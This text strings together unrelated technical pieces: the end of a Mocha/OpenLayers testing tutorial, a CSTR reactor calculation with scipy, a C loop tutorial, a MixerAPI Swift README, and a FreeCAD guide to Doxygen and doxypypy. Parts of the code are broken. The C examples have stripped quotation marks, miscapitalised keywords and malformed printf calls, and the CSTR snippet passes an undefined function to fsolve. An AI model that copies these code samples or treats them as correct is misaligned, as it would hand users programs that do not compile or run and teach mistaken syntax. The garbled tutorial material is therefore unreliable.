Basic map 1) should have a view centred on Prague 0 passing (12ms) 1 failing 1) Basic map should have a view centred on Prague: AssertionError: expected [ Array(2) ] to deeply equal [ 14.44, 50.07 ] + expected - actual [ - 14.439999999999998 - 50.06999999999999 + 14.44 + 50.07 ] at Context.<anonymous> (test/map-test.js:8:53) at process.topLevelDomainCallback (domain.js:120:23)
So close! (But no cigar.) We’ve just run into a problem that plagues
computational scientists worldwide: floating point numbers have a finite
precision and hence can’t be represented exactly in a computer. In other
words, we’ve got a problem with rounding. The solution is to test if the
values are close to one another within a given error tolerance. For this,
we can use the
closeTo assertion; we also have to refactor the test a
little bit, because this assertion can’t handle arrays. The
toLonLat()
function returns the longitude and latitude values as an array (the
longitude in the first element, the latitude in the second element),
therefore we can use array destructuring to set these values, i.e.:
let lon, lat; [lon, lat] = toLonLat(map.getView().getCenter());
we then just need to assert that the
lon and
lat values are “close to”
the value that we’re interested in, within the specified tolerance (for
which we’ll use 10e-6). The test now looks like this:
it('should have a view centred on Prague', function () { let lon, lat; [lon, lat] = toLonLat(map.getView().getCenter()); lon.should.be.closeTo(14.44, 1e-6); lat.should.be.closeTo(50.07, 1e-6); });
Running
make test again shows us that the tests pass! Yay!
Basic map ✓ should have a view centred on Prague 1 passing (8ms)
Phew, that felt like a lot of work, but we got there! Let’s commit this state to the repository:
$ git add test/map-test.js Makefile package-lock.json package.json src/js/index.js # mention in the commit message that we're bootstrapping the test infrastructure $ git commit
Recap
This is good stuff: we’ve managed to get the testing infrastructure installed and wired up to run our tests, and we’ve written our first test! That’s worth celebrating, so stand up and do a little dance before moving on with the next part: projections: different ways of looking at the world. | https://ptc-it.de/developing-openlayers-apps-in-es6-mocha-karma-webpack-mocha-tests/ | CC-MAIN-2021-04 | refinedweb | 2,127 | 67.59 |
Case insensitive sort with Jekyll / Liquid
The Liquid template language is fairly restricted in order to ensure security when generating static web pages from templates, making use of predefined filters and the expense of user defined functions.
However, there does not seem to presently be a case-insensitive sort filter (It does seem to be in the works–but
sort_natural does not seem to be supported yet in the version of jekyll on github–2.4, nor on 3.0.1 which I also downloaded and tried.)
Here is a way to achieve case insensitive sort by using
downcase prior to sorting and comparing. In this example we are creating an index of posts based on their tags. The drawback to this approach is that then we can no longer use
site.tags[tag] to access the list of posts for each tag (because the case of
tag may have changed). Instead, we have to spin through the entire list of posts for each tag to pull out the matching posts.
Finally, note that we create a comma delimited list out of the tags and then split this list into an array. Care must be taken to avoid extra whitespace, so I cram the capture statement togeher all on one line. (Later versions of Jekyll introduce
strip which is handy for getting rid of leading and trailing whitespace but github uses Jekyll 2.4 as of 12/2015)
In addition to being a stop-gap solution for case insensitive sort until
sort_natural goes live, this snippet demonstrates many of the fundamentals of Liquid templating.
--- layout: default title: Tags --- <h2> Index of posts by Tag:</h2> <section> {% capture tags %}{% for tag in site.tags %}{{tag[0]}}{{','}}{% endfor %}{% endcapture %} {% assign sortedtags = tags | downcase | split:"," | sort %} {% for tag in sortedtags %} <b><a name="{{ tag | downcase }}"> </a>{{ tag | capitalize }}</b> <ul> {% for post in site.posts %} {% for t in post.tags %} {% capture tdown %}{{ t | downcase }}{% endcapture %} {% if tdown == tag %} <li><a href="{{ post.url }}">{{ post.title }}</a></li> {% endif %} {% endfor %} {% endfor %} </ul> {% endfor %} </section> | http://jovingelabsoftware.github.io/blog/2015/12/05/case-insensitive-sort-with-jekyll-liquid/ | CC-MAIN-2017-34 | refinedweb | 340 | 61.97 |
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Hello
I am not able to find BADI /exit for my requirement.
I need to filter the sales order while creating the deliveries.
When I execute VL10C tcode and I give some inputs like shipping point sales order etc.
When I execute the Tcode related data come as output.
But my requirement is after giving input and executing I need to filter the same order based on sales org and material is there any way ?
I tries to find the exit / BADI but I found the BADI (Enhancement Spot) badi_delivery_quantity bu I cannot implement this as it give me message BAdI is internal SAP; implementation in customer namespace not allowed
First read include V50R_USEREXITS for a list of good old user exit available, if none fulfill your requirement, you could try an implicit enhancement option at start of form TABS_DISPLAY of function group V50R_VIEW. | https://answers.sap.com/questions/134289/help-needed-for-vl10c-for-enhancement-before-displ.html | CC-MAIN-2018-34 | refinedweb | 160 | 59.84 |
Solving CSTR design equations
Posted February 18, 2013 at 09:00 AM | categories: nonlinear algebra | tags: reaction engineering | View Comments
Updated March 06, 2013 at 04:29 PM
Given a continuously stirred tank reactor with a volume of 66,000 dm^3 where the reaction \(A \rightarrow B\) occurs, at a rate of \(-r_A = k C_A^2\) (\(k=3\) L/mol/h), with an entering molar flow of F_{A0} = 5 mol/h and a volumetric flowrate of 10 L/h, what is the exit concentration of A?
From a mole balance we know that at steady state \(0 = F_{A0} - F_A + V r_A\). That equation simply states the sum of the molar flow of A in in minus the molar flow of A out plus the molar rate A is generated is equal to zero at steady state. This is directly the equation we need to solve. We need the following relationship:
- \(F_A = v0 C_A\)
from scipy.optimize import fsolve Fa0 = 5.0 v0 = 10. V = 66000.0 # reactor volume L^3 k = 3.0 # CA_sol, = fsolve(func, CA_guess) print 'The exit concentration is {0} mol/L'.format(CA_sol)
The exit concentration is 0.005 mol/L
It is a little confusing why it is necessary to put a comma after the CA_sol in the fsolve command. If you do not put it there, you get brackets around the answer.
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Loop Control Structure
Now
Loops
The versatility of the computer lies in its ability to perform a set of instructions repeatedly. This involves repeating some portion of the program either a specific number of times or until a particular condition is being satisfied. This repetitive operation is done through a loop control instruction.
There are basically three methods by which we can repeat a part of program any number times we want.
Using a for statement
Using a while statement
Using a do-while statement
The while Loop
It is often the case in programming that you want to do something a fixed number of times. Examples such as you want to calculate gross salary of 10 people , convert temperature in centigrade to Fahrenheit for 10 cities. In these cases while loop is the best choice.
.
Points to keep in mind for while:
The statement within the while loop will keep on getting executed till the condition being tested remains true.
The condition being tested may use rational or logical operators
The statements within the loop may be a single line or a block of statements.
Almost always the while must test a condition that will eventually become false otherwise the loop would be executed forever that is indefinitely
Instead of incrementing a loop counter we can decrement it and still manage to get the body of the loop executed repeatedly
It is not necessary that a loop counter must only be an integer. It can even be a float value.
Even floating point loop counters can be decremented. Once again the increment and decrement could be any value not necessarily 1.
The for Loop
For is the most popular looping technique in the C programming. The for statement is executed.
General statement for for looping :
For(initialize counter; test counter; increment counter)
#include<stdio.h>
Void main()
{ int p,n,count;
Float r,si;
For (count=1;count<=3;count=count+1)
{printf(enter values for p,n,r);
Scanf(%d%d%f,&p,&n,&r);
Si=p*n*r/100;
Prinf(simple interest=%f\n,si);
}
For statements in detail:
When the for statement is executed for the first time, the value of the count is set to 1
Now the condition count<=3 is tested. Since the count value is set to 1 therfore since the condition is satisfied the program gets executed.
Upon reaching the closing brace of for , control is sent back to the for statement, where the value of count gets increment by 1.
Again the test is performed to check whether the new value has not exceeded 3
If the count value is less than 3 the statement within the braces are executed again.
The body of the for loop continues to get executed till the count doesnt exceed the value 3 set .
When the count reaches 4 the control exist from the loop and is transferred to the statement after the body of for.
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Nesting of loops
Printf(r=%d,c=%d\n,r,c,r+c);
The do-while Loop
The do while loop looks like this
Do
{this;
And this;
While (this condition remains true);
There is minor difference in the working of while and do-while loops. The while tests the condition before executing any of the statements within the loop. As against this the do-while tests the condition after having executed the statements within the loop.
This means that do-while would be executed its statements at least once, even if the condition fails for the first time. The while on the other hand will not execute the statement for the first time.
{ while(4<1)
Printf(hello);
Here the condition fails in the first attempt hence no output.
Do while
#include <stdio.h>
{do
{
} while (1<4);
Output
hello hello hello hello
Break and continue statements are used with do-while. A break statement takes you out of the do-while bypassing the conditional test. A continue statement sends you straight to the test at the end of the loop. All the information on loop control structure and Assignment Help and Homework Help can be found at Transtutors.com.
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This is a client library for Mixer written in Swift.
Features
- Authenticate with Mixer and manage your user session
- Retrieve full data about channels, users, and other resources
- Send and receive packets through the chat and Interactive servers
- Complete Documentation
Usage
To run the example project, clone the repo, and run
pod install from the Example directory first.
Requirements
- iOS 8.2+ / tvOS 9.0+ (macOS and watchOS coming soon)
- Xcode 7.3+
Installation
CocoaPods
You can add MixerAPI to your project by adding it to your Podfile.
Because MixerAPI is written in Swift, you will need to add the
use_frameworks! flag in your Podfile.
platform :ios, '9.0' use_frameworks! target '<Your Target Name>' do pod 'MixerAPI', '~> 1.6' end
Usage
Retrieving Channel Data
import MixerAPI MixerClient.sharedClient.channels.getChannelWithId(252) { (channel, error) in guard let channel = channel else { return } print("(channel.token) has (channel.viewersCurrent) viewers.") }
Connecting to Chat
import MixerAPI class ChatReceiver: NSObject, ChatClientDelegate { // Connect to the channel with an id of 252 func start() { let client = ChatClient(delegate: self) client.joinChannel(252) } // Called when a connection is made to the chat server func chatDidConnect() { print("connected to chat") } // Called when the chat server sent us a packet func chatReceivedPacket(packet: Packet) { if let packet = packet as? MessagePacket { print("message received: (packet.messageText)") } } // Called when there is a new viewer count available func updateWithViewers(viewers: Int) { print("(viewers) are watching") } }
License
MixerAPI is available under the MIT license. See the LICENSE file for more info.
Latest podspec
{ "name": "MixerAPI", "version": "1.6.5", "summary": "An interface to communicate with Mixer's backend.", "homepage": "", "license": "MIT", "authors": { "Jack Cook": "[email protected]" }, "requires_arc": true, "platforms": { "ios": "8.2" }, "source": { "git": "", "tag": "1.6.5" }, "source_files": "Pod/Classes/**/*", "dependencies": { "Starscream": [ "~> 2.0" ], "SwiftyJSON": [ "~> 3.1" ] }, "pushed_with_swift_version": "3.0" }
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Doxygen
Introduzione
Doxygen è uno strumento popolare per la generazione di documentazione da sorgenti C++ annotate; supporta anche altri linguaggi di programmazione popolari come C#, PHP, Java e Python. Visitare il sito web Doxygen per saperne di più sul sistema e consultare il Manuale Doxygen per informazioni complete.
Doxygen e FreeCAD
Questo documento fornisce una breve introduzione a Doxygen, in particolare a come viene utilizzato in FreeCAD per documentarne i sorgenti. Visitare la pagina documentazione del codice sorgente per istruzioni sulla creazione della documentazione di FreeCAD, anch'essa ospitata online sul sito web dell'API di FreeCAD.
Flusso di lavoro generale per produrre documentazione del codice sorgente con Doxygen.
Doxygen with C++ code
The Getting started (Step 3) section of the Doxygen manual mentions the basic ways of documenting the sources.
For members, classes and namespaces there are basically two options:
- Place a special "documentation block" (a commented paragraph) before the declaration or definition of the function, member, class or namespace. For file, class and namespace members (variables) it is also allowed to place the documentation directly after the member. See section Special comment blocks in the manual to learn more about these blocks.
- Place a special documentation block somewhere else (another file or another location in the same file) and put a "structural command" in the documentation block. A structural command links a documentation block to a certain entity that can be documented (a function, member, variable, class, namespace or file). See section Documentation at other places in the manual to learn more about structural commands.
Note:
- The advantage of the first option is that you do not have to repeat the name of the entity (function, member, variable, class, or namespace), as Doxygen will analyze the code and extract the relevant information.
- Files can only be documented using the second option, since there is no way to put a documentation block before a file. Of course, file members (functions, variables, typedefs, defines) do not need an explicit structural command; just putting a documentation block before or after them will work fine.
First style: documentation block before the code
Usually you'd want to document the code in the header file, just before the class declaration or function prototype. This keeps the declaration and documentation close to each other, so it's easy to update the latter one if the first one changes.
The special documentation block starts like a C-style comment
/* but has an additional asterisk, so
/**; the block ends with a matching
*/. An alternative is using C++-style comments
// with an additional slash, so
///.
/** * Returns the name of the workbench object. */ std::string name() const; /** * Set the name to the workbench object. */ void setName(const std::string&); /// remove the added TaskWatcher void removeTaskWatcher(void);
Second style: documentation block elsewhere
Alternatively, the documentation can be placed in another file (or in the same file at the top or bottom, or wherever), away from the class declaration or function prototype. In this case, you will have duplicated information, once in the actual source file, and once in the documentation file.
First file,
source.h:
std::string name() const; void setName(const std::string&);
Second file,
source.h.dox:
/** \file source.h * \brief The documentation of source.h * * The details of this file go here. */ /** \fn std::string name() const; * \brief Returns the name of the workbench object. */ /** \fn void setName(const std::string&); * \brief Set the name to the workbench object. */
In this case the structural command
\file is used to indicate which source file is being documented; a structural command
\fn indicates that the following code is a function, and the command
\brief is used to give a small description of this function.
This way of documenting a source file is useful if you just want to add documentation to your project without adding real code. When you place a comment block in a file with one of the following extensions
.dox,
.txt, or
.doc then Doxygen will parse the comments and build the appropriate documentation, but it will hide this auxiliary file from the file list.
The FreeCAD project adds several files ending in
.dox in many directories in order to provide a description, or examples, of the code there. It is important that such files are correctly categorized in a group or namespace, for which Doxygen provides some auxiliary commands like
\defgroup,
\ingroup, and
\namespace.
Example
src/Base/core-base.dox; this file in FreeCAD's source tree gives a short explanation of the
Base namespace.
/** \defgroup BASE Base * \ingroup CORE */ /*! \namespace Base \ingroup BASE */
Another example is the file
src/Gui/Command.cpp. Before the implementation details of the
Gui::Command methods, there is a documentation block that explains some details of the command framework of FreeCAD. It has various
\section commands to structure the documentation. It even includes example code enclosed in a pair of
\code and
\endcode keywords; when the file is processed by Doxygen this code example will be specially formatted to stand out. The
\ref keyword is used in several places to create links to named sections, subsections, pages or anchors elsewhere in the documentation. Similarly, the
\see or
\sa commands print "See also" and provide a link to other classes, functions, methods, variables, files or URLs.
Example
src/Gui/Command.cpp
/** \defgroup commands Command Framework \ingroup GUI \brief Structure for registering commands to the FreeCAD system * \section Overview * In GUI applications many commands can be invoked via a menu item, a toolbar button or an accelerator key. The answer of Qt to master this * challenge is the class \a QAction. A QAction object can be added to a popup menu or a toolbar and keep the state of the menu item and * the toolbar button synchronized. * * For example, if the user clicks the menu item of a toggle action then the toolbar button gets also pressed * and vice versa. For more details refer to your Qt documentation. * * \section Drawbacks * Since QAction inherits QObject and emits the \a triggered() signal or \a toggled() signal for toggle actions it is very convenient to connect * these signals e.g. with slots of your MainWindow class. But this means that for every action an appropriate slot of MainWindow is necessary * and leads to an inflated MainWindow class. Furthermore, it's simply impossible to provide plugins that may also need special slots -- without * changing the MainWindow class. * * \section wayout Way out * To solve these problems we have introduced the command framework to decouple QAction and MainWindow. The base classes of the framework are * \a Gui::CommandBase and \a Gui::Action that represent the link between Qt's QAction world and the FreeCAD's command world. * * The Action class holds a pointer to QAction and CommandBase and acts as a mediator and -- to save memory -- that gets created * (@ref Gui::CommandBase::createAction()) not before it is added (@ref Gui::Command::addTo()) to a menu or toolbar. * * Now, the implementation of the slots of MainWindow can be done in the method \a activated() of subclasses of Command instead. * * For example, the implementation of the "Open file" command can be done as follows. * \code * class OpenCommand : public Command * { * public: * OpenCommand() : Command("Std_Open") * { * // set up menu text, status tip, ... * sMenuText = "&Open"; * sToolTipText = "Open a file"; * sWhatsThis = "Open a file"; * sStatusTip = "Open a file"; * sPixmap = "Open"; // name of a registered pixmap * sAccel = "Shift+P"; // or "P" or "P, L" or "Ctrl+X, Ctrl+C" for a sequence * } * protected: * void activated(int) * { * QString filter ... // make a filter of all supported file formats * QStringList FileList = QFileDialog::getOpenFileNames( filter,QString::null, getMainWindow() ); * for ( QStringList::Iterator it = FileList.begin(); it != FileList.end(); ++it ) { * getGuiApplication()->open((*it).latin1()); * } * } * }; * \endcode * An instance of \a OpenCommand must be created and added to the \ref Gui::CommandManager to make the class known to FreeCAD. * To see how menus and toolbars can be built go to the @ref workbench. * * @see Gui::Command, Gui::CommandManager */
Example from the VTK project
This is an example from VTK, a 3D visualization library used to present scientific data, like finite element results, and point cloud information.
A class to store a collection of coordinates is defined in a C++ header file. The top part of the file is commented, and a few keywords are used, like
@class,
@brief, and
@sa to indicate important parts. Inside the class, before the class method prototypes, a block of commented text explains what the function does, and its arguments.
- Source code of vtkArrayCoordinates.h.
- Doxygen produced documentation for the vtkArrayCoordinates class.
Compiling the documentation
General workflow to produce source code documentation with Doxygen.
To generate the source code documentation there are two basic steps:
- Create a configuration file to control how Doxygen will process the source files.
- Run
doxygenon that configuration.
The process is described in the following.
- Make sure you have the programs
doxygenand
doxywizardin your system. It is also recommended to have the
dotprogram from Graphviz, in order to generate diagrams with the relationships between classes and namespaces. On Linux systems these programs can be installed from your package manager.
sudo apt install doxygen doxygen-gui graphviz
- Make sure you are in the same folder as your source files, or in the toplevel directory of your source tree, if you have many source files in different sub-directories.
cd toplevel-source
- Run
doxygen -g DoxyDoc.cfgto create a configuration file named
DoxyDoc.cfg. If you omit this name, it will default to
Doxyfilewithout an extension.
- This is a big, plain text file that includes many variables with their values. In the Doxygen manual these variables are called "tags". The configuration file and all tags are described extensively in the Configuration section of the manual. You can open the file with any text editor, and edit the value of each tag as necessary. In the same file you can read comments explaining each of the tags, and their default values.
DOXYFILE_ENCODING = UTF-8 PROJECT_NAME = "My Project" PROJECT_NUMBER = PROJECT_BRIEF = PROJECT_LOGO = OUTPUT_DIRECTORY = CREATE_SUBDIRS = NO ALLOW_UNICODE_NAMES = NO BRIEF_MEMBER_DESC = YES REPEAT_BRIEF = YES ...
- Instead of using a text editor, you may launch
doxywizardto edit many tags at the same time. With this interface you may define many properties such as project information, type of output (HTML and LaTeX), use of Graphviz to create diagrams, warning messages to display, file patterns (extensions) to document or to exclude, input filters, optional headers and footers for the HTML generated pages, options for LaTeX, RTF, XML, or Docbook outputs, and many other options.
doxywizard DoxyDoc.cfg
- Another option is to create the configuration file from scratch, and add only the tags that you want with a text editor.
- After the configuration is saved, you can run Doxygen on this configuration file.
doxygen DoxyDoc.cfg
- The generated documentation will be created inside a folder named
toplevel-source/html. It will consist of many HTML pages, PNG images for graphics, cascading style sheets (
.css), Javascript files (
.js), and potentially many sub-directories with more files depending on the size of your code. The point of entry into the documentation is
index.html, which you can open with a web browser.
xdg-open toplevel-source/html/index.html
If you are writing new classes, functions or an entire new workbench, it is recommended that you run
doxygen periodically to see that the documentation blocks, Markdown, and special commands are being read correctly, and that all public functions are fully documented. Please also read the documentation tips located in the source code.
When generating the complete FreeCAD documentation, you don't run
doxygen directly. Instead, the project uses
cmake to configure the build environment, and then
make triggers compilation of the FreeCAD sources and of the Doxygen documentation; this is explained in the source documentation page.
Doxygen markup
All Doxygen documentation commands start with a backslash
\ or an at-symbol
@, at your preference. Normally the backslash
\ is used, but occasionally the
@ is used to improve readability.
The commands can have one or more arguments. In the Doxygen manual the arguments are described as follows.
- If
<sharp>braces are used the argument is a single word.
- If
(round)braces are used the argument extends until the end of the line on which the command was found.
- If
{curly}braces are used the argument extends until the next paragraph. Paragraphs are delimited by a blank line or by a section indicator.
- If
[square]brackets are used the argument is optional.
Some of the most common keywords used in the FreeCAD documentation are presented here.
\defgroup <name> (group title), see \defgroup, and Grouping.
\ingroup (<groupname> [<groupname> <groupname>]), see \ingroup, and Grouping.
\addtogroup <name> [(title)], see \addtogroup, and Grouping.
\author { list of authors }, see \author; indicates the author of this piece of code.
\brief { brief description }, see \brief; briefly describes the function.
\file [<name>], see \file; documents a source or header file.
\page <name> (title), see \page; puts the information in a separate page, not directly related to one specific class, file or member.
\package <name>, see \package; indicates documentation for a Java package (but also used with Python).
\fn (function declaration), see \fn; documents a function.
\var (variable declaration), see \var; documents a variable; it is equivalent to
\fn,
\property, and
\typedef.
\section <section-name> (section title), see \section; starts a section.
\subsection <subsection-name> (subsection title), see \subsection; starts a subsection.
\namespace <name>, see \namespace; indicates information for a namespace.
\cond [(section-label)], and
\endcond, see \cond; defines a block to conditionally document or omit.
\a <word>, see \a; displays the argument in italics for emphasis.
\param [(dir)] <parameter-name> { parameter description }, see \param; indicates the parameter of a function.
\return { description of the return value }, see \return; specifies the return value.
\sa { references }, see \sa; prints "See also".
\note { text }, see \note; adds a paragraph to be used as a note.
Markdown support
Since Doxygen 1.8, Markdown syntax is recognized in documentation blocks. Markdown is a minimalistic formatting language inspired by plain text email which, similar to wiki syntax, intends to be simple and readable without requiring complicated code like that found in HTML, LaTeX or Doxygen's own commands. Markdown has gained popularity with free software, especially in online platforms like Github, as it allows creating documentation without using complicated code. See the Markdown support section in the Doxygen manual to learn more. Visit the Markdown website to learn more about the origin and philosophy of Markdown.
Doxygen supports a standard set of Markdown instructions, as well as some extensions such as Github Markdown.
Some examples of Markdown formatting are presented next.
The following is standard Markdown.
Here is text for one paragraph. We continue with more text in another paragraph. This is a level 1 header ======================== This is a level 2 header ------------------------ # This is a level 1 header ### This is level 3 header ####### > This is a block quote > spanning multiple lines - Item 1 More text for this item. - Item 2 * nested list item. * another nested item. - Item 3 1. First item. 2. Second item. *single asterisks: emphasis* _single underscores_ **double asterisks: strong emphasis** __double underscores__ This a normal paragraph This is a code block We continue with a normal paragraph again. Use the `printf()` function. Inline `code`. [The link text]() <>
The following are Markdown extensions.
[TOC] First Header | Second Header ------------- | ------------- Content Cell | Content Cell Content Cell | Content Cell ~~~~~~~~~~~~~{.py} # A class class Dummy: pass ~~~~~~~~~~~~~ ~~~~~~~~~~~~~{.c} int func(int a, int b) { return a*b; } ~~~~~~~~~~~~~ ``` int func(int a, int b) { return a*b; } ```
Parsing of documentation blocks
The text inside a special documentation block is parsed before it is written to the HTML and LaTeX output files. During parsing the following steps take place:
- Markdown formatting is replaced by corresponding HTML or special commands.
- The special commands inside the documentation are executed. See the section Special Commands in the manual for an explanation of each command.
- If a line starts with some whitespace followed by one or more asterisks (
*) and then optionally more whitespace, then all whitespace and asterisks are removed.
- All resulting blank lines are treated as paragraph separators.
- Links are automatically created for words corresponding to documented classes or functions. If the word is preceded by a percentage symbol
%, then this symbol is removed, and no link is created for the word.
- Links are created when certain patterns are found in the text. See the section Automatic link generation in the manual for more information.
- HTML tags that are in the documentation are interpreted and converted to LaTeX equivalents for the LaTeX output. See the section HTML Commands in the manual for an explanation of each supported HTML tag.
Doxygen with Python code
Doxygen works best for statically typed languages like C++. However, it can also create documentation for Python files.
There are two ways to write documentation blocks for Python:
- The Pythonic way, using "docstrings", that is, a block of text surrounded by
'''triple quotes'''immediately after the class or function definition.
- The Doxygen way, putting comments before the class or function definition; in this case double hash characters
##are used to start the documentation block, and then a single hash character can be used in subsequent lines.
Note:
- The first option is preferred to comply with PEP8, PEP257 and most style guidelines for writing Python (see 1, 2). It is recommended to use this style if you intend to produce documented sources using Sphinx, which is a very common tool to document Python code. If you use this style, Doxygen will be able to extract the comments verbatim, but Doxygen special commands starting with
\or
@won't work.
- The second option isn't the traditional Python style, but it allows you to use Doxygen's special commands like
\paramand
\var.
First style: Pythonic documentation
In the following example one docstring is at the beginning to explain the general contents of this module (file). Then docstrings appear inside the function, class, and class method definitions. In this way, Doxygen will extract the comments and present them as is, without modification.
'''@package pyexample_a Documentation for this module. More details. ''' def func(): '''Documentation for a function. More details. ''' pass class PyClass: '''Documentation for a class. More details. ''' def __init__(self): '''The constructor.''' self._memVar = 0 def PyMethod(self): '''Documentation for a method.''' pass
Second style: documentation block before the code
In the following example the documentation blocks start with double hash signs
##. One appears at the beginning to explain the general content of this module (file). Then there are blocks before the function, class, and class method definitions, and there is one block after a class variable. In this way, Doxygen will extract the documentation, recognize the special commands
@package,
@param, and
@var, and format the text accordingly.
## @package pyexample_b #
Compiling the documentation
Compilation of documentation proceeds the same as for C++ sources. If both Python files,
pyexample_a.py and
pyexample_b.py, with distinct commenting style are in the same directory, both will be processed.
cd toplevel-source/ doxygen -g doxygen Doxyfile xdg-open ./html/index.html
The documentation should show similar information to the following, and create appropriate links to the individual modules and classes.
Class List Here are the classes, structs, unions and interfaces with brief descriptions: N pyexample_a C PyClass N pyexample_b Documentation for this module C PyClass Documentation for a class
Converting the Pythonic style to Doxygen style
In the previous example, the Python file that is commented in a Doxygen style shows more detailed information and formatting for its classes, functions, and variables. The reason is that this style allows Doxygen to extract the special commands that start with
\ or
@, while the Pythonic style does not. Therefore, it would be desirable to convert the Pythonic style to Doxygen style before compiling the documentation. This is possible with an auxiliary Python program called doxypypy. This program is inspired by an older program called doxypy, which would take the Pythonic
'''docstrings''' and convert them to the Doxygen comment blocks that start with a double hash
##. Doxypypy goes further than this, as it analyzes the docstrings and extracts items of interest like variables and arguments, and even doctests (example code in the docstrings).
Doxypypy can be installed using
pip, the Python package installer.
pip3 install --user doxypypy
If the
pip command is used without the
--user option, it will require superuser (root) privileges to install the package, but this is not needed in most cases; use root permissions only if you are certain the package won't collide with your distribution provided packages.
If the package was installed as a user, it may reside in your home directory, for example, in
$HOME/.local/bin. If this directory is not in your system's
PATH, the program will not be found. Therefore, add the directory to the
PATH variable, either in your
$HOME/.bashrc file, or in your
$HOME/.profile file.
export PATH="$HOME/.local/bin:$PATH"
Alternatively, you can create a symbolic link to the
doxypypy program, placing the link in a directory that is already included in the
PATH.
mkdir -p $HOME/bin ln -s $HOME/.local/bin/doxypypy $HOME/bin/doxypypy
Once the
doxypypy program is installed, and accessible from the terminal, a Python file with Pythonic docstrings can be reformatted to Doxygen style with the following instructions. The program outputs the reformatted code to standard output, so redirect this output to a new file.
doxypypy -a -c pyexample_pythonic.py > pyexample_doxygen.py
pyexample_pythonic.py
'''@package pyexample_pythonic Documentation for this module. More details go here. ''' def myfunction(arg1, arg2, kwarg='whatever.'): ''' Does nothing more than demonstrate syntax. This is an example of how a Pythonic human-readable docstring can get parsed by doxypypy and marked up with Doxygen commands as a regular input filter to Doxygen. Args: arg1: A positional argument. arg2: Another positional argument. Kwargs: kwarg: A keyword argument. Returns: A string holding the result. Raises: ZeroDivisionError, AssertionError, & ValueError. Examples: >>> ''' assert isinstance(arg1, int) if arg2 > 23: raise ValueError return '{0} - {1}, {2}'.format(arg1 + arg2, arg1 / arg2, kwarg)
pyexample_doxygen.py
##@package pyexample_pythonic #Documentation for this module. #More details go here. # ## @brief Does nothing more than demonstrate syntax. # # This is an example of how a Pythonic human-readable docstring can # get parsed by doxypypy and marked up with Doxygen commands as a # regular input filter to Doxygen. # # # @param arg1 A positional argument. # @param arg2 Another positional argument. # # # @param kwarg A keyword argument. # # @return # A string holding the result. # # # @exception ZeroDivisionError # @exception AssertionError # @exception ValueError. # # @b Examples # @code # >>> # @endcode # def myfunction(arg1, arg2, kwarg='whatever.'): assert isinstance(arg1, int) if arg2 > 23: raise ValueError return '{0} - {1}, {2}'.format(arg1 + arg2, arg1 / arg2, kwarg)
The original file has a comment at the top
'''@package pyexample_pythonic that indicates the module or namespace that is being described by the file. This
@package keyword is not interpreted when using triple quotes in the comment block.
In the new file the commenting style is changed so the line becomes
##@package pyexample_pythonic, which now will be interpreted by Doxygen. However, to be interpreted correctly, the argument has to be edited manually to match the new module (file) name; after doing this the line should be
##@package pyexample_doxygen.
pyexample_doxygen.py (the top is manually edited, the rest stays the same)
##@package pyexample_doxygen #Documentation for this module. #More details go here. #
To compile, create the configuration, and run
doxygen in the toplevel directory that contains the files.
cd toplevel-source/ doxygen -g doxygen Doxyfile xdg-open ./html/index.html
The documentation should show similar information to the following, and create appropriate links to the individual modules.
Namespace List Here is a list of all documented namespaces with brief descriptions: N pyexample_doxygen Documentation for this module N pyexample_pythonic
Converting the comment style on the fly
In the previous example, the conversion of the documentation blocks was done manually with only one source file. Ideally we want this conversion to occur automatically, on the fly, with any number of Python files. To do this, the Doxygen configuration must be edited accordingly.
To start, don't use the
doxypypy program directly; instead, create the configuration file with
doxygen -g, then edit the created
Doxyfile, and modify the following tag.
FILTER_PATTERNS = *.py=doxypypy_filter
What this does is that files that match the pattern, all files with a extension ending in
.py, will go through the
doxypypy_filter program. Every time Doxygen encounters such file in the source tree, the file name will be passed as the first argument to this program.
doxypypy_filter example.py
The
doxypypy_filter program does not exist by default; it should be created as a shell script to run
doxypypy with the appropriate options, and to take a file as its first argument.
#!/bin/sh doxypypy -a -c "$1"
After saving this shell script, make sure it has execute permissions, and that it is located in a directory contained in your system's
PATH.
chmod a+x doxypypy_filter mv doxypypy_filter $HOME/bin
On Windows systems, a batch file can be used in a similar way.
doxypypy -a -c %1
With this configuration done, the
doxygen Doxyfile command can be run to generate the documentation as usual. Every Python file using Pythonic
'''triple quotes''' will be reformatted on the fly to use
##Doxygen style comments, and then will be processed by Doxygen, which now will be able to interpret the special commands and Mardown syntax. The original source code won't be modified, and no temporary file with a different name needs to be created as in the previous section; therefore, if a
@package example instruction is found, it doesn't need to be changed manually.
Note that existing Python files which already use the
##double hash style for their comment blocks won't be affected by the
doxypypy filter, and will be processed by Doxygen normally.
General workflow to produce source code documentation with Doxygen, when the Python files are filtered to transform the comment blocks.
Python code quality check
To use the automatic conversion of documentation blocks it is important that the original Python sources are correctly written, following the Pythonic guidelines in PEP8 and PEP257. Sloppily written code will cause
doxypypy to fail when processing the file, and thus Doxygen will be unable to format the documentation correctly.
The following commenting styles will not allow parsing of the docstrings by
doxypypy, so they should be avoided.
'''@package Bad ''' def first_f(one, two): "Bad comment 1" result = one + two result_m = one * two return result, result_m def second_f(one, two): "Bad comment 2" result = one + two result_m = one * two return result, result_m def third_f(one, two): 'Bad comment 3' result = one + two result_m = one * two return result, result_m def fourth_f(one, two): #Bad comment 4 result = one + two result_m = one * two return result, result_m
Always use triple quotes for the docstrings, and make sure they immediately follow the class or function declaration.
It is also a good idea to verify the quality of your Python code with a tool such as flake8 (Gitlab). Flake8 primarily combines three tools, Pyflakes, Pycodestyle (formerly pep8), and the McCabe complexity checker, in order to enforce proper Pythonic style.
pip install --user flake8 flake8 example.py
To check all files inside a source tree use
find.
find toplevel-source/ -name '*.py' -exec flake8 {} '+'
If the project demands it, some code checks deemed too strict can be ignored. The error codes can be consulted in the Pycodestyle documentation.
find toplevel-source/ -name '*.py' -exec flake8 --ignore=E266,E402,E722,W503 --max-line-length=100 {} '+'
In similar way, a program that primarily checks that comments comply with PEP257 is Pydocstyle. The error codes can be consulted in the Pydocstyle documentation.
pip install --user pydocstyle pydocstyle example.py
Also use it with
find to perform docstring checks on all source files.
find toplevel-source/ -name '*.py' -exec pydocstyle {} '+'
Source documentation with Sphinx
Sphinx is the most popular system to document Python source code. However, since FreeCAD's core functions and workbenches are written in C++ it was deemed that Doxygen is a better documentation tool for this project.
While Sphinx can natively parse Python docstrings, it requires a bit more work to parse C++ sources. The Breathe (Github) project is an attempt at bridging the gap between Sphinx and Doxygen, in order to integrate both Python and C++ source code documentation in the same system. First, Doxygen needs to be configured to output an XML file; the XML output is then read by Breathe, and converted to suitable input for Sphinx.
See the Quick start guide in the Breathe documentation to know more about this process.
